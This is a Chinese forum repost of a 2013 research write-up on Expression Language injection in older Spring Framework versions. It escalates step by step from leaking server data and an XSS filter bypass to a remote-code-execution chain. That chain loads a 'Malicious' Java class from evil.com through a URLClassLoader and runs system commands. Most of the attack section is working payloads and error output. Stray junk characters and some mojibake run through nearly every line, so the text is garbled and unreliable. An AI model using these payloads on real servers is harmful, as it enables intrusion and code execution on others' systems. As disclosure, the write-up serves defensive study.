找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2222|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
2 |0 M/ [, C5 `Expression Language Injection
) X7 D3 b) r5 X" A3 H; oSpring Framework脆弱性—DanAmodio
+ w1 T  `* D' Z" b全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中1 d2 _) W8 c( c4 k
可能会存在风险。
) W3 L4 {! |8 e3 Y在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的5 \6 s$ u) p$ r- v1 T% S
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可8 w0 ~7 V6 F# ~- f; c$ l$ ?8 N% z
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,6 N8 {& S- Q' P( L! }3 `
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前7 n  R  T6 r2 }
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。9 H9 G, A+ O/ E6 J
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但! f; q# z2 J1 i( F  r5 T
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版. C) {/ {' Z' T* h+ @; [& d
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。9 E7 C, A; a# S& f+ n7 W/ y2 k0 V$ i
这些版本不支持禁用double EL resolution.2 [- ~* p2 o& x0 n' v0 P
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含( d1 ~" L! x' K8 Q! ~
EL2.2容器上可能进行远程代码执行。
# o: Z( N0 s! }5 A. s( E( x这是一个原始信息泄露的攻击例子:
4 n3 I1 a; e3 N; `0 \/ U9 A请求:
& r3 d# U* p( }1 r! T/ H1 }ttp://vulnerable.com/foo?message=${applicationScope}& @; z6 g+ M1 O$ U4 P# t+ K+ ?8 {
到达以下内容页面:
- V6 n- F9 |, a1 F结果将输出一些包含内部服务器信息calsspath 和本地工作目录6 V$ G( l5 s) c- J9 O: K  n, y
你也可以做一些其他事情,如这样:
! v; b" W2 {0 O  c${9999+1}" j2 F/ i, s& F0 f! l
还可以访问session 对象和beans
8 \$ p% k2 O" P4 U/ h9 G${employee.lastName}
/ r, Z+ m. a- l3 l* @8 q: j$ ?在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是4 W& `" t! [: v) x( M4 p
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
1 F" Y- J+ u* }* L西,比如XSS.
3 V& w5 N9 W: |& l. L哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签8 y9 k. V7 i  E" V
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤: W. ?8 O: o5 Y/ B' M3 n* r( \4 N  p
呢?”% u" s  t# m2 k/ S$ e$ X2 m
因此,我尝试巳缦拢�
* ^+ E& E$ L( K0 zhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
1 c- c- s6 k! A7 ~7 g$ t& ?5 D$ PP5 r; O% Z4 }6 B7 x) K
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
: X. O7 K" I. @! C* `回的文本被插入进了spring:message 标签。! i; ^0 H! T  y6 L  n. C
这里是一个最终绕过过滤的实例:: l: g/ g  d7 F# i* G
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
+ g$ k% s, s; `3 \+ C它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
2 v( @+ i% A+ {什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
& o( |3 F: P% x0 b; D* _4 d1 e6 h6 L$ X经过一番研究,我学习到EL2.2 增加了方法调用。
& ]) R" k/ ~7 j# |" u我写了一个快速测试应用程序代码并且检测一些功能
# M1 Z7 u# |( {7 C* Q# J; x${pageContext.request.getSession().setAttribute(“account”,”123456″)}5 E  u: h, Y7 q' k. L
${pageContext.request.getSession().setAttribute(“admin”,true)}0 [# l. d9 A: X( ~7 O: R% @/ _
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
. p- o4 U3 y  c& F指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?% ~, r6 I3 w+ g) ?; {0 w! m3 J( [5 |& D
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1- j% o& |( S' N9 h8 N0 w- b; M
“, 1234)}4 u7 R$ M# ]1 |- i& P- E3 r9 M( }3 l
${“”.getClass().forName(“java.lang.Runtime”)}
  \8 ]& S2 S9 T) J. Y" d- H7 x+ i哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不/ W7 ]! {. L5 |' K( C( H$ Y" d" E+ B
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
8 I; U, A9 ^% T$ B数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有# k" H* c. {( d
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于* o9 t1 _- B8 B! M/ Z9 P
方法签名invoke(Object obj, Object„ args)
; R9 r" c3 T: s3 X+ nJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
1 q9 q. r/ L1 b' O  W题,以让它可以工作起来。
: G5 ]& W" e9 j漏洞利用:
4 j5 [0 V% c( H我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我/ t& L) j) x3 e7 o
希望你们中的一些JAVA奇才告诉我我是如此的可笑。- J$ g8 ]* E3 g& E* K9 e
这里有一些我试过的失败的用例,为了试图让它工作的用例:
* J* e; x* g4 \ 写文件到文件系统
0 n% ?* A3 n, G 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.) u4 \" O* H; V. D
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
; [/ `" p- h3 |1 k5 k% ~${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
/ U0 A$ z2 }3 _! |3 T% ^, }javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:! n( n3 I3 \6 ?  H5 @
org.springframework.expression.spel.standard.SpelExpressionParser not found
' z; ]6 s; v1 a1 t" F/ Zby
& l  X7 p" |2 T# Y, W% {org.glassfish.web.javax.servlet.jsp [194].
0 Y1 r( X. J6 R8 T' m  H0 ~& F 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public9 E% d: q. q+ w& h3 z% N! J3 s7 J
 利用反射来创建一个新的Runtime(and watch the world burn): ^$ s/ b. x7 J7 }9 e
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
- P, [$ J' h5 u2 b(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
9 R0 r" }; \& l$ U6 @1 p3 P${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}. z. V; e" z; M( m; X
 使用java.lang.ProcessBuilder
" d% K. u* A+ b/ C* p 用表达式语言来评估表达式语言
& o, L( A7 d0 c* `: y3 G3 cExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义./ ^; v7 ^" Y, `+ ?7 ^5 a
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request. e. y* p- s7 R0 L1 y" ~
“,”".getClass(),null)}
+ O; h3 F4 o" c4 p; W# Y& T 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
5 B3 _' ^: E" l4 X  ~6 W- p我在使用一个空数组通过Method.invoke()时失败了很多次
8 f8 H2 I! y7 s# W4 p% A“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo% N* A6 T/ `" r% C9 J* d
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A6 ^! s+ m2 s, J8 q) K& b
rrayList”).newInstance().toArray()). T8 S  v8 U3 `/ \/ M
java.lang.IllegalArgumentException: wrong number of arguments
: U' I8 E: C; o最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可* q9 l, V! {+ }" w, i, `, g% M
以创建一个恶意class文件并且指向类装载器.
' ^  X+ ~/ V  L7 c& H% C2 H/ ~! n我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:: M( J4 {) K, \( B: X7 n
public class Malicious {
7 L, A1 v. E7 `+ o5 rpublic Malicious() {& O7 f4 S! ~( E' k2 W" g! e' I$ l
try {
- i7 }( i: I9 R9 Cjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac" h% x: J' m2 B1 C
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
( I8 P# _0 a+ I2 T5 b( r$ C} catch (Exception e) {$ }& b/ R4 m- l" ?; _3 U7 Q% s. L
}/ M' \$ a$ t; E: o' b) F6 h
}4 Z' t* T. a. |3 T+ O+ I
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回1 S2 L! U3 w6 @
话中,因此它可以被使用.% R8 w: u* a; ?4 w
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
1 ?. i& N/ y# R- ~! p(“java.util.ArrayList”).newInstance())}% _  D( C0 J8 J( u
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
: f7 T( U9 l. z! ]2 A% ~& u一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和- B4 ?! w' [9 W$ L
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
6 [3 ?: f% ^2 A我们可以调用的create(string)方法,然后转换对一个URL对象。5 A9 q6 N( v9 a. p, b
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh$ P$ m, z/ ~0 p* {
ere/malicious/classfile/is/located/”).toURL())}1 D- v  |  ^4 K, e
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,9 R, b# E6 n) |: i& x
恶意类文件被装载并创建,触发远程代码.
( I1 u( L2 Q" B. \/ Y: ?; r2 b6 D${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
  b8 r% s1 \% \" Pxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
1 l* c8 |# D" g: [! E6 W  o( RgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
" l1 o1 q* M3 {: E()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表